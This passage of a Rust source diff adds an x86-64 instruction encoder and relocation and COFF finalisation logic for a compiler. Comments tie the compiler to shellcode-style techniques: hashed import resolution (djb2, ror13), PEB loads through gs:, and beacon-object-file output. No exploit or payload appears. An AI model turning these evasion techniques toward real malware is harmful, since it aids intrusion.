(add rsp, 8, frame fix-ups, + /// small struct field offsets, etc.). + pub fn add_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 0, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// add reg64, reg64 (REX.W + 01 /r) + pub fn add_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x01); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// sub dst, src (REX.W + 29 /r) + pub fn sub_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x29); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + pub fn xor_r64_r64(&mut self, dst: Reg64, src: Reg64) { + if dst as u8 == src as u8 && !dst.ext() { + // 2-byte xor er32, er32 - REX omitted entirely. + self.emit(0x31); + self.modrm(0b11, src.lo3(), dst.lo3()); + return; + } + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x31); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// and dst, src (REX.W + 21 /r) + pub fn and_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x21); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// and r64, imm8 (sign-extended) (REX.W + 83 /4 ib) - 4 bytes. + /// Used by the GC for masking off the low-3-bit header flags + /// (and rcx, -8 keeps just the size). + pub fn and_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm as u8); + } + + /// or r64, imm8 (sign-extended) (REX.W + 83 /1 ib) - 4 bytes. + /// Used by the GC for setting flag bits without disturbing size + /// (or rcx, 1 sets the mark bit). + pub fn or_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm as u8); + } + + /// or dst, src (REX.W + 09 /r) + pub fn or_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x09); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// not r64 (REX.W + F7 /2) - bitwise complement + pub fn not_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xF7); + self.modrm(0b11, 2, dst.lo3()); + } + + /// shl r64, cl (REX.W + D3 /4) - logical shift left, count in CL + pub fn shl_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 4, dst.lo3()); + } + + /// shl r64, imm8 (REX.W + C1 /4 ib) - logical shift left by constant. + pub fn shl_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm); + } + + /// imul r64, r/m64, imm8 (sign-extended) - REX.W + 6B /r ib. + /// Three-operand multiply with a small immediate. Used by the + /// hashed-import resolver's djb2-style hash. + pub fn imul_r64_r64_imm8(&mut self, dst: Reg64, src: Reg64, imm: i8) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x6B); + self.modrm(0b11, dst.lo3(), src.lo3()); + self.emit(imm as u8); + } + + pub fn cmp_r32_imm32(&mut self, dst: Reg64, imm: u32) { + if dst.ext() { self.emit(0x41); } + self.emit(0x81); + self.modrm(0b11, 7, dst.lo3()); + self.emit32(imm); + } + + #[allow(dead_code)] + pub fn shr_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 5, dst.lo3()); + } + + /// sar r64, cl (REX.W + D3 /7) - arithmetic shift right, count in CL + pub fn sar_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 7, dst.lo3()); + } + + /// cld (FC) - clear direction flag. String ops then auto-increment + /// rdi/rsi. Win64 callers may have set DF; intrinsic memory primitives + /// emit this defensively before any rep so direction is deterministic. + pub fn cld(&mut self) { self.emit(0xFC); } + + /// rep stosb (F3 AA) - fill rcx bytes at [rdi] with al. Modifies + /// rdi (post-increment by rcx) and rcx (zero). + pub fn rep_stosb(&mut self) { self.emit(0xF3); self.emit(0xAA); } + + /// rep movsb (F3 A4) - copy rcx bytes from [rsi] to [rdi]. + /// Modifies rsi, rdi, rcx. + pub fn rep_movsb(&mut self) { self.emit(0xF3); self.emit(0xA4); } + + /// repe cmpsb (F3 A6) - compare rcx bytes; stop on first mismatch + /// OR when rcx hits zero. ZF=1 means full match. + pub fn repe_cmpsb(&mut self) { self.emit(0xF3); self.emit(0xA6); } + + /// cmp reg64, reg64 (REX.W + 39 /r) + pub fn cmp_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, b.ext(), false, a.ext()); + self.emit(0x39); + self.modrm(0b11, b.lo3(), a.lo3()); + } + + /// test reg64, reg64 (REX.W + 85 /r) + pub fn test_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, b.ext(), false, a.ext()); + self.emit(0x85); + self.modrm(0b11, b.lo3(), a.lo3()); + } + + pub fn call_extern(&mut self, sym: &str) { + self.emit(0xFF); + self.modrm(0b00, 0b010, 0b101); + self.rel32_to(RelocTarget::External(sym.to_string())); + } + + pub fn call_label(&mut self, label: &str) { + self.emit(0xE8); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// call [rip + rel32] (FF /2, mod=00 rm=101) - indirect through slot + pub fn call_indirect_data(&mut self, label: &str) { + self.emit(0xFF); + self.modrm(0b00, 2, 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// call reg64 (FF /2) + pub fn call_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0xFF); + self.modrm(0b11, 2, r.lo3()); + } + + /// jmp rel32 (E9 cd) + pub fn jmp_label(&mut self, label: &str) { + self.emit(0xE9); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// jmp reg64 (FF /4) - used for indirect jumps (longjmp restore) + pub fn jmp_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0xFF); + self.modrm(0b11, 4, r.lo3()); + } + + /// jcc rel32 (0F 8x cd) + pub fn jcc_label(&mut self, cond: Cond, label: &str) { + self.emit(0x0F); + self.emit(0x80 + cond.nibble()); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// raw byte emit (for inline asm { 0x.. } blocks) + pub fn emit_raw(&mut self, b: u8) { self.emit(b); } + + + /// mov dst, [base + disp32] (REX.W + 8B /r) + pub fn mov_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x8B); + let rm = base.lo3(); + if rm == 0b100 { + // rsp/r12 require a SIB byte even with no index. + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); // SIB: scale=00 index=100(none) base=100 + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov [base + disp32], src (REX.W + 89 /r) + pub fn mov_r64disp_r64(&mut self, base: Reg64, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, base.ext()); + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// lea dst, [base + disp32] (REX.W + 8D /r) + pub fn lea_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x8D); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// lea dst, [base + idx*1] (REX.W + 8D /r, SIB scale=00) - RVA to absolute + pub fn lea_r64_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8D); + // mod=00 reg=dst rm=100 (SIB); SIB: scale=00 index=idx base=base + // base==rbp/r13 + mod=00 means [disp32] - disallow that combination. + // For us base is rcx/rax/rbx so it's fine; assert just in case. + debug_assert!(base.lo3() != 0b101, "lea with rbp/r13 as base needs disp"); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b00 << 6) | (idx.lo3() << 3) | base.lo3(); + self.emit(sib); + } + + /// mov dst32, [base + idx*4] (66/REX optional; default-32 mov) - RVA-table read + pub fn mov_r32_base_idx_scale4(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + // 32-bit mov writes zero-extend into the 64-bit register, which is + // exactly what we want for RVAs. + // REX only if any extended reg is used. + if dst.ext() || base.ext() || idx.ext() { + self.rex(false, dst.ext(), idx.ext(), base.ext()); + } + self.emit(0x8B); + debug_assert!(base.lo3() != 0b101, "scale-load with rbp/r13 base needs disp"); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b10 << 6) | (idx.lo3() << 3) | base.lo3(); // scale=4 + self.emit(sib); + } + + /// mov dst32, [base + disp32] (zero-extend into r64; RVA at fixed offset) + pub fn mov_r32_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + if dst.ext() || base.ext() { + self.rex(false, dst.ext(), false, base.ext()); + } + self.emit(0x8B); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movzx dst, word ptr [base + idx*2] (REX.W + 0F B7 /r, SIB scale=01) - ordinal table + pub fn movzx_r64_word_base_idx_scale2(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB7); + debug_assert!(base.lo3() != 0b101); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b01 << 6) | (idx.lo3() << 3) | base.lo3(); + self.emit(sib); + } + + /// movzx dst, byte ptr [base] (REX.W + 0F B6 /r, mod=00) + pub fn movzx_r64_byte_r64(&mut self, dst: Reg64, base: Reg64) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB6); + let rm = base.lo3(); + if rm == 0b101 { + // rbp/r13: need mod=01 disp8=0 + self.modrm(0b01, dst.lo3(), rm); + self.emit(0); + } else if rm == 0b100 { + self.modrm(0b00, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b00, dst.lo3(), rm); + } + } + + /// movzx dst, word ptr [base + disp32] (REX.W + 0F B7 /r) - UNICODE_STRING.Length + pub fn movzx_r64_word_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB7); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov rax, gs:[disp32] (65 48 8B 04 25 disp32) - PEB load on x64 + pub fn mov_rax_gs_qword(&mut self, disp: i32) { + self.emit(0x65); // GS segment override + self.emit(0x48); // REX.W + self.emit(0x8B); + self.emit(0x04); // ModR/M: mod=00 reg=000(rax) rm=100(SIB) + self.emit(0x25); // SIB: scale=00 index=100(none) base=101(disp32 only) + self.emit32(disp as u32); + } + + /// mov r64, [disp32] (REX.W + 8B /r, SIB disp-only form). + /// Pair with emit_seg_prefix for gs:/fs: absolute loads. + pub fn mov_r64_disp32(&mut self, dst: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b00, dst.lo3(), 0b100); + self.emit(0x25); + self.emit32(disp as u32); + } + + /// mov [disp32], r64 (REX.W + 89 /r). Mirror of mov_r64_disp32. + pub fn mov_disp32_r64(&mut self, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b00, src.lo3(), 0b100); + self.emit(0x25); + self.emit32(disp as u32); + } + + /// add reg, imm8 (REX.W + 83 /0 ib) - shorter than imm32 form + pub fn add_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm as u8); + } + + /// sub reg, imm8 (REX.W + 83 /5 ib) + pub fn sub_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 5, dst.lo3()); + self.emit(imm as u8); + } + + /// cmp reg, imm32 (REX.W + 81 /7 id) + pub fn cmp_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + self.emit(0x81); + self.modrm(0b11, 7, dst.lo3()); + self.emit32(imm as u32); + } + + /// inc reg (REX.W + FF /0) + pub fn inc_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xFF); + self.modrm(0b11, 0, dst.lo3()); + } + + /// dec reg (REX.W + FF /1) - the inline-asm counterpart to inc. + /// Used by dec rcx etc. inside asm { ... } blocks. + pub fn dec_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xFF); + self.modrm(0b11, 1, dst.lo3()); + } + + /// neg reg (REX.W + F7 /3) - two's-complement negation. + pub fn neg_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xF7); + self.modrm(0b11, 3, dst.lo3()); + } + + /// xor reg, imm32 Size-aware. imm-8-fits uses REX.W + 83 /6 ib + /// (4 bytes), otherwise REX.W + 81 /6 id (7 bytes). Same pattern + /// as add_r64_imm32 / sub_r64_imm32. + pub fn xor_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 6, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 6, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// and reg, imm32 Size-aware companion to and_r64_imm8. + pub fn and_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 4, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// or reg, imm32 Size-aware companion to or_r64_imm8. + pub fn or_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 1, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// push imm32 (68 id) - push a sign-extended 32-bit immediate. + /// Useful inside asm blocks for push 0x1234-style scratch values. + pub fn push_imm32(&mut self, imm: i32) { + self.emit(0x68); + self.emit32(imm as u32); + } + + /// int 3 (CC) - debugger trap. Surfaces in entc-debug as a + /// breakpoint stop, lets users plant explicit traps inline. + pub fn int3(&mut self) { self.emit(0xCC); } + + pub fn syscall_(&mut self) { self.emit(0x0F); self.emit(0x05); } + + + /// mov byte ptr [base + disp32], r8 (88 /r) + /// Writes the LOW BYTE of src. For source rax this is al. + pub fn mov_byte_r64disp_r8(&mut self, base: Reg64, disp: i32, src: Reg64) { + let need_rex = src.ext() || base.ext() || + matches!(src, Reg64::Rsp | Reg64::Rbp | Reg64::Rsi | Reg64::Rdi); + if need_rex { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x88); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov word ptr [base + disp32], r16 (66 + 89 /r) - low 16 bits of src + pub fn mov_word_r64disp_r16(&mut self, base: Reg64, disp: i32, src: Reg64) { + self.emit(0x66); // operand-size override to 16-bit operand + if src.ext() || base.ext() { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov dword ptr [base + disp32], r32 (89 /r without REX.W) - low 32 + pub fn mov_dword_r64disp_r32(&mut self, base: Reg64, disp: i32, src: Reg64) { + if src.ext() || base.ext() { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + fn scale_bits(scale: u32) -> u8 { + match scale { + 1 => 0b00, + 2 => 0b01, + 4 => 0b10, + 8 => 0b11, + _ => panic!("indexed addressing supports scales 1/2/4/8 only (got {scale})"), + } + } + + fn modrm_sib_base_idx(&mut self, reg_field: u8, base: Reg64, idx: Reg64, scale: u32) { + let s = Self::scale_bits(scale); + let base_lo = base.lo3(); + let sib = (s << 6) | (idx.lo3() << 3) | base_lo; + if base_lo == 0b101 { + // rbp/r13 base requires explicit disp (mod=01, disp8=0). + self.modrm(0b01, reg_field, 0b100); + self.emit(sib); + self.emit(0); + } else { + self.modrm(0b00, reg_field, 0b100); + self.emit(sib); + } + } + + /// movzx dst, byte ptr [base + idx*1] (REX + 0F B6 /r, SIB scale=00) + pub fn movzx_r64_byte_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB6); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 1); + } + + /// movzx dst, word ptr [base + idx*2] (REX + 0F B7 /r, SIB scale=01) + pub fn movzx_r64_word_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB7); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 2); + } + + /// mov dst32, [base + idx*4] (8B /r, SIB scale=10) - zero-extends into r64 + pub fn mov_r32_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + if dst.ext() || base.ext() || idx.ext() { + self.rex(false, dst.ext(), idx.ext(), base.ext()); + } + self.emit(0x8B); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 4); + } + + /// mov dst, qword ptr [base + idx*8] (REX.W + 8B /r, SIB scale=11) + pub fn mov_r64_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8B); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 8); + } + + /// mov byte ptr [base + idx*1], src (88 /r, SIB scale=00) - low byte of src + pub fn mov_byte_base_idx_r8(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + // 8-bit destination. REX needed if any extended reg, or src is + // rsp/rbp/rsi/rdi (whose 8-bit form is spl/bpl/sil/dil and requires REX). + let need_rex = src.ext() || base.ext() || idx.ext() || + matches!(src, Reg64::Rsp | Reg64::Rbp | Reg64::Rsi | Reg64::Rdi); + if need_rex { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x88); + self.modrm_sib_base_idx(src.lo3(), base, idx, 1); + } + + /// mov word ptr [base + idx*2], src (66 89 /r, SIB scale=01) - low 16 of src + pub fn mov_word_base_idx_r16(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + self.emit(0x66); + if src.ext() || base.ext() || idx.ext() { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 2); + } + + /// mov dword ptr [base + idx*4], src (89 /r, SIB scale=10) - low 32 of src + pub fn mov_dword_base_idx_r32(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + if src.ext() || base.ext() || idx.ext() { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 4); + } + + /// mov qword ptr [base + idx*8], src (REX.W + 89 /r, SIB scale=11) + pub fn mov_qword_base_idx_r64(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + self.rex(true, src.ext(), idx.ext(), base.ext()); + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 8); + } + + /// lea dst, [base + idx*scale] (REX.W + 8D /r) - generalised form + /// used to take the address of arr[i] for &-of or pointer arithmetic. + pub fn lea_r64_base_idx_scale(&mut self, dst: Reg64, base: Reg64, idx: Reg64, scale: u32) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8D); + self.modrm_sib_base_idx(dst.lo3(), base, idx, scale); + } + + /// movzx r64, byte ptr [base + disp32] (REX.W + 0F B6 /r) + pub fn movzx_r64_byte_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB6); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + // Inline-asm-only instructions. Not used by the high-level codegen. + + /// Emit a segment-override prefix (0x64 = FS, 0x65 = GS). + /// Must precede the REX byte of the targeted instruction. + pub fn emit_seg_prefix(&mut self, seg: Segment) { + self.emit(seg.prefix()); + } + + /// cmovcc dst, src (REX.W + 0F 4_ /r) - branchless conditional move. + pub fn cmovcc_r64_r64(&mut self, cond: Cond, dst: Reg64, src: Reg64) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x0F); + self.emit(0x40 | cond.nibble()); + self.modrm(0b11, dst.lo3(), src.lo3()); + } + + /// rol r64, imm8 (REX.W + C1 /0 ib) + pub fn rol_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm); + } + + /// rol r64, cl (REX.W + D3 /0) + pub fn rol_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 0, dst.lo3()); + } + + /// ror r64, imm8 (REX.W + C1 /1 ib) - used by ror13 hashed imports. + pub fn ror_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm); + } + + /// ror r64, cl (REX.W + D3 /1) + pub fn ror_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 1, dst.lo3()); + } + + /// movsx r64, byte ptr [base + disp32] (REX.W + 0F BE /r) + pub fn movsx_r64_byte_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xBE); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsx r64, word ptr [base + disp32] (REX.W + 0F BF /r) + pub fn movsx_r64_word_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xBF); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsxd r64, dword ptr [base + disp32] (REX.W + 63 /r) + pub fn movsxd_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x63); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsxd r64, r32 (REX.W + 63 /r, mod=11) + pub fn movsxd_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x63); + self.modrm(0b11, dst.lo3(), src.lo3()); + } + + /// xchg r64, r64 (REX.W + 87 /r) - atomic register swap. + pub fn xchg_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, a.ext(), false, b.ext()); + self.emit(0x87); + self.modrm(0b11, a.lo3(), b.lo3()); + } + + /// bswap r64 (REX.W + 0F C8+rd) - byte-swap. + pub fn bswap_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0x0F); + self.emit(0xC8 + dst.lo3()); + } + + + pub fn finalize(mut self) -> Result, String> { + while self.code.len() & 7 != 0 { + self.code.push(0x90); + } + let code_len = self.code.len(); + let rdata_off = code_len; + let data_off = rdata_off + self.rdata.len(); + let bss_off = data_off + self.data.len(); + + // Shift each label by its section's base offset so they become + // absolute offsets inside the combined blob. + for (_n, off) in self.rdata_labels.iter_mut() { *off += rdata_off; } + for (_n, off) in self.data_labels.iter_mut() { *off += data_off; } + for (_n, off) in self.bss_labels.iter_mut() { *off += bss_off; } + + self.code.extend_from_slice(&self.rdata); + self.code.extend_from_slice(&self.data); + // .bss flattens to its zero-fill in standard mode so the + // single-buffer launcher model keeps working. + self.code.resize(self.code.len() + self.bss_size, 0); + + for r in &self.relocs { + let target_off = match &r.target { + RelocTarget::Code(n) => *self.code_labels.get(n) + .ok_or_else(|| format!("unresolved code label: {n}"))?, + RelocTarget::Data(n) => self.rdata_labels.get(n) + .or_else(|| self.data_labels.get(n)) + .or_else(|| self.bss_labels.get(n)) + .copied() + .ok_or_else(|| format!("unresolved data label: {n}"))?, + RelocTarget::External(n) => { + return Err(format!( + "external symbol `{n}` referenced in --type=standard build. \ + External symbols are only valid in `--type=bof|coff`." + )); + } + }; + // rel32 is computed from the byte AFTER the displacement field. + let next_ip = (r.patch_at + 4) as i64; + let rel = target_off as i64 - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err("rel32 out of range".into()); + } + let bytes = (rel as i32 as u32).to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + } + Ok(self.code) + } + + pub fn finalize_for_coff(mut self) -> Result { + let code_len = self.code.len(); + let mut externals: Vec = Vec::new(); + let mut data_relocs: Vec = Vec::new(); + + for r in &self.relocs { + match &r.target { + RelocTarget::Code(n) => { + let target_off = *self.code_labels.get(n) + .ok_or_else(|| format!("unresolved code label: {n}"))?; + let next_ip = (r.patch_at + 4) as i64; + let rel = target_off as i64 - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err("rel32 out of range".into()); + } + let bytes = (rel as i32 as u32).to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + } + RelocTarget::Data(n) => { + // Look the label up across each data-like section. + // Whichever holds it dictates the section symbol the + // emitter uses for the relocation. + let (offset, section) = + if let Some(&off) = self.rdata_labels.get(n) { + (off as u32, DataSection::Rdata) + } else if let Some(&off) = self.data_labels.get(n) { + (off as u32, DataSection::Data) + } else if let Some(&off) = self.bss_labels.get(n) { + (off as u32, DataSection::Bss) + } else { + return Err(format!("unresolved data label: {n}")); + }; + // Write the in-section offset to the patch site as + // the relocation addend. + let bytes = offset.to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + data_relocs.push(DataReloc { + at: r.patch_at as u32, + section, + }); + } + RelocTarget::External(n) => { + externals.push(ExternalReloc { + at: r.patch_at as u32, + sym: n.clone(), + }); + } + } + } + + Ok(CoffArtifact { + text: self.code, + rdata: self.rdata, + data: self.data, + bss_size: self.bss_size, + text_size: code_len, + externals, + data_relocs, + code_labels: self.code_labels, + }) + } +} + +/// One external relocation collected during finalize_for_coff. The +/// COFF emitter (src/coff.rs) turns these into REL32 entries against +/// the artifact's symbol table. +#[derive(Debug, Clone)] +pub struct ExternalReloc { + pub at: u32, + pub sym: String, +} + +#[derive(Debug, Clone)] +pub struct DataReloc { + pub at: u32, + pub section: DataSection, +} + +/// Output of finalize_for_coff. Carries the still-separate sections +/// plus the metadata the COFF emitter needs to build a valid .obj. +#[derive(Debug)] +pub struct CoffArtifact { + /// Patched .text bytes (internal labels resolved; external rel32 + /// fields zeroed for the loader to fill in). + pub text: Vec, + /// Read-only initialised data - string literals, format templates, + /// DLL names. Lands in .rdata. + pub rdata: Vec, + /// Mutable initialised data - .data. Empty in current use; the + /// codegen still routes static initialisers through .bss + an + /// init-replay sequence. + pub data: Vec, + /// Size of the .bss section (zero-filled by the loader). Import + /// slots, format buffers, static slots all are placed here. + pub bss_size: usize, + pub text_size: usize, + pub externals: Vec, + /// Cross-section relocations from .text into one of the + /// data-like sections. Each carries the target section so the + /// emitter writes against the right section symbol. + pub data_relocs: Vec, + /// Code-section labels - function start offsets within .text. + /// codegen uses this map to find go's offset for the symbol + /// table entry. + pub code_labels: HashMap, +} diff --git a/src/gc.rs b/src/gc.rs new file mode 100644 index 0000000..750f03e 